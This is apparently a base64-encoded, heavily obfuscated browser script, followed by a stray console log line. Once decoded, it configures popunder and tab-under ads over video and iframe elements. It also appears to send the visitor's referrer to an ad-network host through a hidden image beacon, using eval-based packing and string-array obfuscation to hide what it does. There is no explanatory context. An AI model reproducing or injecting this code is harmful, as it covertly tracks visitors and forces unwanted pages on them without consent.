RD1WO319O30oKTtmNXl5Lno9ZnVuY3Rpb24gKCl7cmV0dXJuIHR5cGVvZiBmNXl5LkwuTz09PSdmdW5jdGlvbic/ZjV5eS5MLk8uYXBwbHkoZjV5eS5MLGFyZ3VtZW50cyk6ZjV5eS5MLk87fTtmNXl5LkM9ZnVuY3Rpb24oKXt2YXIgUT0yO3doaWxlKFEhPT0xKXtzd2l0Y2goUSl7Y2FzZSAyOnJldHVybnt2OmZ1bmN0aW9uKFUpe3ZhciBiPTI7d2hpbGUoYiE9PTE0KXtzd2l0Y2goYil7Y2FzZSAyOnZhciBLPScnLGw9ZGVjb2RlVVJJKCJ0JTExa2JsYyU3RCUwNmhiZGxtbDYhJTNDJTNDKyU1QmNkLTo1JTVENyg4Jy8lNUJ3LzI4bWolM0M4KTA3YiolMUMyJTI1bSUwN3ElN0RvYmslMTh3JTdDc2RtaDcpKSUyMipaMmQlMTgtNUErKS5vbXMlMTUlMjUlM0UwKyU1QiUzQyUxMXUlMjA2TXk/KScsSy1kJTNFOSxLMi00OyUyMCUwNjojMCU3RDUlNUM6IzMya0s2IXU5Kks4JTIwNTo2JTVDcSUxRiUzRScsWC1sMCUyMDYlNUN5Ljh1KUc4KDgxZUolM0MqMiclMjAlMDg1JTI1JTNFMCslNUIlM0NsOyUzQylNcWIxOiZJNSIpO2I9MTticmVhaztjYXNlIDk6Sys9U3RyaW5nLmZyb21DaGFyQ29kZShsLmNoYXJDb2RlQXQoWSleVS5jaGFyQ29kZUF0KGspKTtiPTg7YnJlYWs7Y2FzZSAxOnZhciBZPTAsaz0wO2I9NTticmVhaztjYXNlIDU6Yj1ZPGwubGVuZ3RoPzQ6NzticmVhaztjYXNlIDM6az0wO2I9OTticmVhaztjYXNlIDg6WSsrLGsrKztiPTU7YnJlYWs7Y2FzZSA0OmI9az09PVUubGVuZ3RoPzM6OTticmVhaztjYXNlIDc6Sz1LLnNwbGl0KCcoJyk7cmV0dXJuIGZ1bmN0aW9uKFApe3ZhciBoPTI7d2hpbGUoaCE9PTEpe3N3aXRjaChoKXtjYXNlIDI6cmV0dXJuIEtbUF07YnJlYWs7fX19O2JyZWFrO319fSgnRShZTF1VJyl9O2JyZWFrO319fSgpOyFmdW5jdGlvbihlLG8sYyl7InVzZSBzdHJpY3QiO3ZhciBUPWY1eXk7dmFyIGksbix0O1QuZygwKTtpPVQuUihULkgoIjgiLDApKTtULnooMCk7bj1bVC5JKFQuSCgnXHgzMVx4MzAnLDApKSxULkkoKyI2IiksVC5SKCsnXHgzMVx4MzQnKSxULlIoKyIxMiIpLFQuUihULkgoIjUiLDAsVC5nKDApKSksVC5JKFQuQigwLCdceDMwJyxULnooMSkpKSxULlIoVC5CKCdceDMxXHgzMScsMCxULnooMCkpKSxULkkoKyIyIildO1QuZygyKTt0PVsrJ1x4MzJceDMwXHgzMVx4MzknLFQuQignXHUwMDM1JywxKSxULkgoJ1x4MzFceDM2JywwLFQuZygwKSldO3RyeXtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7Yy5Mb2dnZXIubG9nKGksVC5SKCsnXHgzMScpLG4pO2MuTG9nZ2VyLmxvZyhpLFQuUigiNyItMCksdC5qb2luKFQuSSgnXHgzNCctMCkpKTt9LCsiNTAwIik7VC56KDEpO2Mub2JqZWN0PVtuLFsrIjM2MCIsNDk0LDM5MSwrIjMxMiIsVC5CKDAsIjMxMiIpLFQuSCgiMzY1IiwwLFQuZygwKSksKydceDM0XHgzMFx4MzQnLFQuSCgiMzAwIiwwLFQuZygwKSksKydceDMzXHgzNlx4MzBceDMwXHgzMScsVC5IKDAsJ1x4MzNceDM5XHgzNVx4MzJceDMyJyxULmcoMSkpLFQuQigiMTg3NzEiLDAsVC56KDApKSwrIjM0OTQ4IiwxNjU0MSwyOTU3MSwrJ1x4MzVceDMxXHgzN1x4MzFceDM5JywzMzkwOCxULkgoIjc4ODQwIiwwLFQuZygwKSksMTA1OTY0LCsnXHgzOFx4MzRceDM1XHgzNVx4MzUnLFQuSCgiNzI0MjYiLDAsVC5nKDApKSxULkgoJ1x4MzNceDMwXHgzNVx4MzlceDM5JywwLFQuZygwKSksVC5CKCdcdTAwMzRcdTAwMzFcdTAwMzZcdTAwMzJcdTAwMzYnLDAsVC5nKDApKSxULkIoMCwnXHUwMDM4XHUwMDM4XHUwMDMwXHUwMDM4XHUwMDM0JyxULnooMSkpLFQuSCgiNjU0MDkiLDEsVC5nKDIpKSwxNDQwMCxULkgoIjEyODQ0IiwxLFQueigyKSksKydceDM4XHgzNlx4MzBceDMyJyxULkgoJ1x4MzFceDMwXHgzOVx4MzJceDMwJywxLFQuZygyKSksMTM0MTYsVC5IKCdceDMyXHgzNFx4MzhceDMyXHgzMCcsMCxULmcoMCkpLFQuQignXHgzM1x4MzdceDM5XHgzN1x4MzYnLDAsVC56KDApKSwrJ1x4MzVceDMxXHg2NVx4MzMnXSx0LFtULkgoJ1x4MzNceDM2XHgzMicsMCxULmcoMCkpLDQ5NiwrJ1x4MzNceDM5XHgzOScsVC5IKDAsIjczMDkyMyIsVC5nKDEpKSwrJ1x1MDAzMlx1MDAzNVx1MDAzMVx1MDAzMicsVC5IKCI2Mzk4IiwwLFQueigwKSksVC5IKCdcdTAwMzRcdTAwMzFcdTAwMzFcdTAwMzlcdTAwMzFcdTAwMzJcdTAwMzInLDEsVC5nKDIpKSwrJ1x4MzFceDMxXHgzMVx4MzlceDMyJyxULkgoJ1x4MzNceDM0XHgzMlx4MzNceDM2JywwLFQueigwKSksMjQ2MSwzMjU1NywxMDIxMF0sby5jdXJyZW50U2NyaXB0LFQuSCgiMSIsMSxULmcoMikpXTt9Y2F0Y2gobyl7dm9pZCgnXHgzMCcqMSkhPT1lLmNvbnNvbGUmJmUuY29uc29sZS5sb2cmJkZ1bmN0aW9uLmFwcGx5LmNhbGwoZS5jb25zb2xlLmxvZyxlLmNvbnNvbGUsW1QuSSgnXHgzMVx4MzMnfDApXSk7fX0od2luZG93LGRvY3VtZW50LHdpbmRvd1t3aW5kb3cucG9wbnN8fGY1eXkuUigiMyItMCldKTt2YXIgXzB4MTM4Zj1bJ1x4NThceDQ4XHg2M1x4NzInLCdceDQ5XHg1NFx4NDVceDZmXHg2NFx4NDNceDZjXHgzN1x4NGZceDQzXHg0Mlx4NmNceDUwXHg1NFx4NDVceDZmXHg1YVx4NTNceDZjXHgzN1x4NGZceDQzXHg0Mlx4NzVceDUwXHg1OFx4NTFceDc1XHg2Mlx4NzlceDY3XHg2OVx4NjJceDUzXHg0OVx4NzBceDRmXHg3YVx4NTlceDY3XHg2Mlx4NjlceDM0XHg3OVx4NGNceDZkXHg3N1x4MzlceDQ5XHg2ZFx4NzNceDY5XHg0Y1x4NDdceDM0XHg3NVx4NGRceDY5XHgzNVx4NzdceDUwXHg1NFx4NDFceDczXHg2Mlx4NjlceDM0XHg3OVx4NGNceDZlXHg0NVx4MzlceDRkXHg0M1x4NzhceDc1XHg0Y1x4NmFceDQ5XHg3NVx4NjRceDdhXHgzMFx4NjlceDYxXHg2OVx4NDlceDczXHg2Mlx4NjlceDM1XHgzMVx4NTBceDUzXHg0OVx4MzNceDRmXHg2OVx4MzhceDc2XHg2M1x4NjlceDM1XHgzNFx4NGNceDZhXHg1NVx4NzZceDYxXHg0M1x4MzlceDY4XHg0Y1x4NzlceDQ5XHg3Mlx4NWFceDUzXHg3OFx4MzBceDRjXHg2ZFx4NDlceDc1XHg2MVx4NTNceDY4XHg3NVx4NGJceDUzXHg3OFx4NzVceDY2XHg1M1x4NzhceDc1XHg1MFx4NTdceDRkXHg2Zlx4NWFceDc5XHg2N1x4NmZceDY0XHg0M1x4MzVceDZiXHg0Y1x4NmVceDU5XHg2Zlx4NTFceDY5XHg0Mlx4NGZceDRiXHg0M1x4NDlceDZmXHg0ZVx4N2FceDM5XHgzOFx4NTNceDY5XHgzMVx4MzVceDRiXHg1NFx4NzBceDYzXHg1OFx4NDNceDM5XHg2M1x4NThceDQzXHgzOFx4NjlceDRiXHg1M1x4NzdceDY5XHg0OVx4NjlceDZiXHg3NVx4NGRceDc5XHg2N1x4NjlceDRjXHg3OVx4NDlceDcwXHg1N1x4N2FceDQyXHg2NFx4NjZceDQ4XHg3N1x4NjlceDUzXHg3OVx4MzRceDMxXHg0OVx4NjlceDZiXHg3NVx4NGRceDc5XHg2N1x4NjlceDQ5XHg2OVx4NmJceDc1XHg1NFx4NDNceDY3XHg3OFx4NGJceDQ4XHg1MVx4NzBceDY1XHg3YVx4NTlceDY3XHg2NFx4NDNceDM1XHg0ZVx4NGJceDQ0XHg0MVx4NzBceDRjXHg2Ylx4NjNceDZmXHg1M1x4NDNceDZjXHgzOVx4NGJceDUzXHgzNVx4NDJceDRiXHg0M1x4NDlceDY5XHg0Ylx4NTNceDZiXHg3MFx4NGZceDMzXHg2Zlx4NzVceDRlXHg0M1x4NjdceDY5XHg1MVx4NzlceDQ5XHg3M1x4NGRceDUzXHg2N1x4NzBceDY1XHgzMlx4NTVceDZmXHg2Mlx4NjlceDczXHg2OVx4NGNceDMyXHg1OVx4NzVceDRmXHg1M1x4NDlceDcwXHg0Y1x4NmFceDUxXHg2Zlx4NDlceDZiXHg1MVx4NjlceDRjXHg0NFx4NDVceDZmXHg0Ylx4NThceDc0XHg0N1x4NGJceDQ0XHg0NVx4NmZceDRiXHg1OFx4NzRceDZjXHg0Ylx4NDdceDM0XHg3Mlx4NDlceDY5XHgzOVx4N2FceDRjXHg2YVx4NmJceDY5XHg0Ylx4NThceDMwXHg3M1x4NTJceDUzXHg2Y1x4MzlceDRiXHg1OFx4MzBceDcwXHg2Nlx4NTNceDY4XHg0YVx4NGJceDU0XHg3M1x4M2QnLCdceDYzXHgzM1x4NDJceDczXHg2MVx4NThceDUxXHgzZCcsJ1x4NWFceDZlXHg0YVx4NzZceDYyXHg1NVx4NGVceDZmXHg1OVx4NThceDRhXHg0NFx4NjJceDMyXHg1Mlx4NmMnLCdceDY0XHg0N1x4MzlceDU0XHg2NFx4NDhceDRhXHg3MFx4NjJceDZkXHg2M1x4M2QnLCdceDYzXHg2ZFx4NTZceDc3XHg2Mlx4NDdceDQ2XHg2YVx4NWFceDUxXHgzZFx4M2QnXTsoZnVuY3Rpb24oXzB4MWI1OWFjLF8weDMwZDYwNSl7dmFyIF8weDQ0NTljOT1mdW5jdGlvbihfMHgxNDY4YWMpe3doaWxlKC0tXzB4MTQ2OGFjKXtfMHgxYjU5YWNbJ3B1c2gnXShfMHgxYjU5YWNbJ3NoaWZ0J10oKSk7fX07XzB4NDQ1OWM5KCsrXzB4MzBkNjA1KTt9KF8weDEzOGYsMHgxMGIpKTt2YXIgXzB4MTdjMT1mdW5jdGlvbihfMHgxOTc3ZGIsXzB4Yzc5ZjY5KXtfMHgxOTc3ZGI9XzB4MTk3N2RiLTB4MDt2YXIgXzB4MTYyZGYyPV8weDEzOGZbXzB4MTk3N2RiXTtpZihfMHgxN2MxWydPTXJTcXgnXT09PXVuZGVmaW5lZCl7KGZ1bmN0aW9uKCl7dmFyIF8weDI0NzE2Njt0cnl7dmFyIF8weDViZDYyOT1GdW5jdGlvbigncmV0dXJuXHgyMChmdW5jdGlvbigpXHgyMCcrJ3t9LmNvbnN0cnVjdG9yKFx4MjJyZXR1cm5ceDIwdGhpc1x4MjIpKFx4MjApJysnKTsnKTtfMHgyNDcxNjY9XzB4NWJkNjI5KCk7fWNhdGNoKF8weDMyOTViMCl7XzB4MjQ3MTY2PXdpbmRvdzt9dmFyIF8weDI4M2NlOT0nQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLz0nO18weDI0NzE2NlsnYXRvYiddfHwoXzB4MjQ3MTY2WydhdG9iJ109ZnVuY3Rpb24oXzB4MzQxYjE5KXt2YXIgXzB4MTQ0Zjk2PVN0cmluZyhfMHgzNDFiMTkpWydyZXBsYWNlJ10oLz0rJC8sJycpO2Zvcih2YXIgXzB4MjhhNzVlPTB4MCxfMHg1OWNiNWIsXzB4MWUwOTNkLF8weDUxZWZhNj0weDAsXzB4OTIyYWFjPScnO18weDFlMDkzZD1fMHgxNDRmOTZbJ2NoYXJBdCddKF8weDUxZWZhNisrKTt+XzB4MWUwOTNkJiYoXzB4NTljYjViPV8weDI4YTc1ZSUweDQ/XzB4NTljYjViKjB4NDArXzB4MWUwOTNkOl8weDFlMDkzZCxfMHgyOGE3NWUrKyUweDQpP18weDkyMmFhYys9U3RyaW5nWydmcm9tQ2hhckNvZGUnXSgweGZmJl8weDU5Y2I1Yj4+KC0weDIqXzB4MjhhNzVlJjB4NikpOjB4MCl7XzB4MWUwOTNkPV8weDI4M2NlOVsnaW5kZXhPZiddKF8weDFlMDkzZCk7fXJldHVybiBfMHg5MjJhYWM7fSk7fSgpKTtfMHgxN2MxWyd4anFrREYnXT1mdW5jdGlvbihfMHgzMzc3MTgpe3ZhciBfMHg1ZGRiMTU9YXRvYihfMHgzMzc3MTgpO3ZhciBfMHg1NjBiOTU9W107Zm9yKHZhciBfMHhjOTdmOTE9MHgwLF8weDQ0MTg3Mj1fMHg1ZGRiMTVbJ2xlbmd0aCddO18weGM5N2Y5MTxfMHg0NDE4NzI7XzB4Yzk3ZjkxKyspe18weDU2MGI5NSs9JyUnKygnMDAnK18weDVkZGIxNVsnY2hhckNvZGVBdCddKF8weGM5N2Y5MSlbJ3RvU3RyaW5nJ10oMHgxMCkpWydzbGljZSddKC0weDIpO31yZXR1cm4gZGVjb2RlVVJJQ29tcG9uZW50KF8weDU2MGI5NSk7fTtfMHgxN2MxWydrRG1IU2snXT17fTtfMHgxN2MxWydPTXJTcXgnXT0hIVtdO312YXIgXzB4MzA2NDA1PV8weDE3YzFbJ2tEbUhTayddW18weDE5NzdkYl07aWYoXzB4MzA2NDA1PT09dW5kZWZpbmVkKXtfMHgxNjJkZjI9XzB4MTdjMVsneGpxa0RGJ10oXzB4MTYyZGYyKTtfMHgxN2MxWydrRG1IU2snXVtfMHgxOTc3ZGJdPV8weDE2MmRmMjt9ZWxzZXtfMHgxNjJkZjI9XzB4MzA2NDA1O31yZXR1cm4gXzB4MTYyZGYyO307ZXZhbChmdW5jdGlvbihfMHg0OWIyZTksXzB4MTA2OTM1LF8weDIyM2Q1NixfMHgyZmY2ZTksXzB4ZWQ3ZDI2LF8weDNiYzUwMCl7XzB4ZWQ3ZDI2PWZ1bmN0aW9uKF8weDI2YmI4Mil7cmV0dXJuKF8weDI2YmI4MjxfMHgxMDY5MzU/Jyc6XzB4ZWQ3ZDI2KHBhcnNlSW50KF8weDI2YmI4Mi9fMHgxMDY5MzUpKSkrKChfMHgyNmJiODI9XzB4MjZiYjgyJV8weDEwNjkzNSk+MHgyMz9TdHJpbmdbXzB4MTdjMSgnMHgwJyldKF8weDI2YmI4MisweDFkKTpfMHgyNmJiODJbXzB4MTdjMSgnMHgxJyldKDB4MjQpKTt9O2lmKCEnJ1tfMHgxN2MxKCcweDInKV0oL14vLFN0cmluZykpe3doaWxlKF8weDIyM2Q1Ni0tKXtfMHgzYmM1MDBbXzB4ZWQ3ZDI2KF8weDIyM2Q1NildPV8weDJmZjZlOVtfMHgyMjNkNTZdfHxfMHhlZDdkMjYoXzB4MjIzZDU2KTt9XzB4MmZmNmU5PVtmdW5jdGlvbihfMHgzMjA3ZjYpe3JldHVybiBfMHgzYmM1MDBbXzB4MzIwN2Y2XTt9XTtfMHhlZDdkMjY9ZnVuY3Rpb24oKXtyZXR1cm4gXzB4MTdjMSgnMHgzJyk7fTtfMHgyMjNkNTY9MHgxO307d2hpbGUoXzB4MjIzZDU2LS0pe2lmKF8weDJmZjZlOVtfMHgyMjNkNTZdKXtfMHg0OWIyZTk9XzB4NDliMmU5W18weDE3YzEoJzB4MicpXShuZXcgUmVnRXhwKCdceDVjXHg2MicrXzB4ZWQ3ZDI2KF8weDIyM2Q1NikrJ1x4NWNceDYyJywnXHg2NycpLF8weDJmZjZlOVtfMHgyMjNkNTZdKTt9fXJldHVybiBfMHg0OWIyZTk7fShfMHgxN2MxKCcweDQnKSwweDMyLDB4MzIsJ1x4N2NceDY2XHg3NVx4NmVceDYzXHg3NFx4NjlceDZmXHg2ZVx4N2NceDczXHg3NFx4NzlceDZjXHg2NVx4N2NceDczXHg3MFx4NmNceDY5XHg3NFx4N2NceDYxXHg2NFx4NjRceDQ1XHg3Nlx4NjVceDZlXHg3NFx4NGNceDY5XHg3M1x4NzRceDY1XHg2ZVx4NjVceDcyXHg3Y1x4NjNceDZmXHg2ZFx4N2NceDcyXHg2NVx4NzRceDc1XHg3Mlx4NmVceDdjXHg2OFx4NzRceDc0XHg3MFx4NzNceDdjXHg3Nlx4NjFceDcyXHg3Y1x4NzBceDZlXHg2N1x4N2NceDcwXHg3NFx4N2NceDYyXHg2Zlx4NjRceDc5XHg3Y1x4NjVceDZlXHg2M1x4NmZceDY0XHg2NVx4NTVceDUyXHg0OVx4NDNceDZmXHg2ZFx4NzBceDZmXHg2ZVx4NjVceDZlXHg3NFx4N2NceDcyXHg2NVx4NjZceDY1XHg3Mlx4NzJceDY1XHg3Mlx4N2NceDdjXHg3Y1x4NjJceDc0XHg2Zlx4NjFceDdjXHg3Nlx4MzFceDdjXHg2MVx4NzBceDcwXHg2NVx4NmVceDY0XHg0M1x4NjhceDY5XHg2Y1x4NjRceDdjXHg2ZVx4NmZceDZlXHg2NVx4N2NceDYxXHg2Mlx4NzNceDZmXHg2Y1x4NzVceDc0XHg2NVx4N2NceDcwXHg2Zlx4NzNceDY5XHg3NFx4NjlceDZmXHg2ZVx4N2NceDY5XHg2ZFx4NjdceDdjXHg3Y1x4NjNceDcyXHg2NVx4NjFceDc0XHg2NVx4NDVceDZjXHg2NVx4NmRceDY1XHg2ZVx4NzRceDdjXHg3NFx4NmZceDcwXHg3Y1x4NmNceDY1XHg2Nlx4NzRceDdjXHg2MVx4NzBceDY5XHg3Y1x4N2NceDdjXHg3M1x4NzJceDYzXHg3Y1x4NzJceDY1XHg3MFx4NmNceDYxXHg2M1x4NjVceDdjXHg3MFx4NmZceDY5XHg2ZVx4NzRceDY1XHg3Mlx4NDVceDc2XHg2NVx4NmVceDc0XHg3M1x4N2NceDYzXHg2Y1x4NjlceDYzXHg2Ylx4NjFceDY5XHg2ZVx4NjVceDdjXHg2MVx4NzBceDcwXHg3Y1x4NzdceDY5XHg2ZVx4NjRceDZmXHg3N1x4N2NceDZhXHg2Zlx4NjlceDZlXHg3Y1x4NmVceDY1XHg3N1x4N2NceDQ0XHg0Zlx4NGRceDQzXHg2Zlx4NmVceDc0XHg2NVx4NmVceDc0XHg0Y1x4NmZceDYxXHg2NFx4NjVceDY0XHg3Y1x4NmNceDZmXHg2MVx4NjRceDdjXHgzNVx4NjVceDMzXHg3Y1x4NzNceDY1XHg3NFx4NTRceDY5XHg2ZFx4NjVceDZmXHg3NVx4NzRceDdjXHg3NFx4NmZceDUzXHg3NFx4NzJceDY5XHg2ZVx4NjdceDdjXHgzMVx4MzZceDdjXHg2NFx4NmZceDYzXHg3NVx4NmRceDY1XHg2ZVx4NzRceDdjXHg2MVx4NmVceDY0XHg3Mlx4NmZceDY5XHg2NFx4N2NceDY0XHg2Zlx4NzRceDdjXHg2ZFx4NjFceDcwXHg3Y1x4NjNceDY4XHg2MVx4NzJceDQzXHg2Zlx4NjRceDY1XHg0MVx4NzRceDdjXHg1Mlx4NjVceDY3XHg0NVx4NzhceDcwJ1tfMHgxN2MxKCcweDUnKV0oJ1x4N2MnKSwweDAse30pKTsKO3ZhciBjSVBvcCA9IGZ1bmN0aW9uIGNJUG9wKHVybCkgewoJCWNQb3AuY29uZmlnKHsKCQkJY292ZXJUYWdzOiBbJ3ZpZGVvJywgJ2lmcmFtZSddLAoJCQl0YWJVbmRlcklnbm9yZVRhcmdldEJsYW5rOiB0cnVlLAoJCQlkZWxheTogMjE2MDAKCQl9KTsKCQljUG9wLmFkZCh1cmwsIHsKCQkJbmV3VGFiOiB0cnVlLAoJCQl1bmRlcjogdHJ1ZSwKCQkJY29va2llRXhwaXJlczogMjE2MDB9KX07(Line 1)
Message:
console.clear